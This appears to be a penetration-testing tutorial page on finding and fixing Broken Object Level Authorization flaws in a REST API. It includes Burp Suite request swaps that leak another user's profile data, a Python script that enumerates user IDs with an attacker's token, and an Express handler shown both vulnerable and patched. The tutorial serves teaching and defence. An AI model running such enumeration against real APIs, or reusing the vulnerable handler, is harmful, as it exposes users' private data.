A step-by-step penetration testing lab guide. Learn how to setup a test environment, identify BOLA vulnerabilities using Burp Suite Repeater/Match & Replace, and implement secure code fixes.
A practical, step-by-step tutorial on identifying, requesting, extracting, and cracking offline password hashes for vulnerable Active Directory Kerberos service accounts.
35 min read
Master Nano, Vim, and Emacs text editors for penetration testing on Kali Linux. Learn essential commands, shortcuts, and workflows for editing config files, bash scripts, and analyzing securi
Understanding of HTTP proxies (Burp Suite), JWT tokens, and basic REST API architecture.
Burp Suite Pro/Community, Python 3, cURL, Node.js / Express backend environment
Master BOLA auditing techniques, automate authorization fuzzing in Python & Burp Suite, and implement server-side access control checks in backend controllers.
Broken Object Level Authorization (BOLA) — formerly known as Insecure Direct Object References (IDOR) — remains the #1 vulnerability on the OWASP API Security Top 10 list.
In this practical, hands-on tutorial, you will learn how to audit API endpoints for authorization vulnerabilities, automate parameter swapping in Burp Suite, and implement server-side validation code to remediate the flaw.
Before starting, ensure you have the following installed:
requests libraryConsider a vulnerable REST API handling user profile updates and private data retrieval:
GET /api/v1/users/{user_id}/profileAuthorization: Bearer <JWT>| Account Name | User ID | Authorization Token (JWT) | Access Privileges |
|---|---|---|---|
| Alice (Victim) | 10042 | eyJhbGciOiJIUzI1Ni... (Token Alice) | Standard User |
| Bob (Attacker) | 10043 | eyJhbGciOiJIUzI1Ni... (Token Bob) | Standard User |
127.0.0.1:8080).10043).GET /api/v1/users/10043/profile HTTP/1.1
Host: api.vulnerable-app.local
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMDA0MywiaWF0IjoxNzE2OTAwMDAwfQ...
Accept: application/json
Ctrl + R).Authorization: Bearer ... token unchanged in the header.10043 (Bob's ID) to 10042 (Alice's ID):GET /api/v1/users/10042/profile HTTP/1.1
Host: api.vulnerable-app.local
Authorization: Bearer <BOB_JWT_TOKEN>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{
"status": "success",
"data": {
"user_id": 10042,
"full_name": "Alice Smith",
"email": "alice@company.com",
"phone": "+1-555-0198",
"ssn_last_four": "9821",
"address": "42 Security Blvd, Cyber City"
}
}
The server returned 200 OK and leaked Alice's private PII to Bob. The API checked whether the request contained a valid JWT token, but failed to check whether the authenticated identity matches the requested object ID.
To test hundreds of IDs programmatically during an authorized penetration test, use the following Python script:
#!/usr/bin/env python3
import requests
import json
TARGET_URL = "https://api.vulnerable-app.local/api/v1/users/{}/profile"
ATTACKER_TOKEN = "eyJhbGciOiJIUzI1Ni..." # Attacker's JWT
headers = {
"Authorization": f"Bearer {ATTACKER_TOKEN}",
"User-Agent": "Andrax-Pentest-BOLA-Scanner/1.0"
}
print("[+] Starting BOLA Enumeration Scan...")
for user_id in range(10040, 10050):
url = TARGET_URL.format(user_id)
response = requests.get(url, headers=headers, verify=False)
if response.status_code == 200:
data = response.json()
print(f"[CRITICAL VULNERABILITY] BOLA Confirmed on ID {user_id}! Leaked Email: {data['data'].get('email')}")
elif response.status_code == 403:
print(f"[-] ID {user_id}: 403 Forbidden (Secured)")
else:
print(f"[*] ID {user_id}: Status {response.status_code}")
// VULNERABLE: No ownership validation check!
app.get('/api/v1/users/:id/profile', authenticateJWT, async (req, res) => {
const userId = req.params.id;
const userProfile = await db.User.findByPk(userId);
return res.json({ status: 'success', data: userProfile });
});
// SECURE: Validates token identity against target object owner
app.get('/api/v1/users/:id/profile', authenticateJWT, async (req, res) => {
const requestedUserId = parseInt(req.params.id, 10);
const authenticatedUserId = req.user.id; // Extracted from verified JWT payload
// Enforce Access Control Policy
if (requestedUserId !== authenticatedUserId && req.user.role !== 'Admin') {
return res.status(403).json({ status: 'error', message: 'Forbidden: Unauthorized object access' });
}
const userProfile = await db.User.findByPk(requestedUserId);
return res.json({ status: 'success', data: userProfile });
});
403 Forbidden response.Created by Syed Zada Abrar — Founder & Lead Researcher, Andrax Pentester.
Share this tutorial
28 min read
Master the apt package manager, dpkg, and snap in Kali Linux. Learn essential package management commands, repository configuration, and security tool installation for penetration testing in
24 min read
Sign in to leave a comment.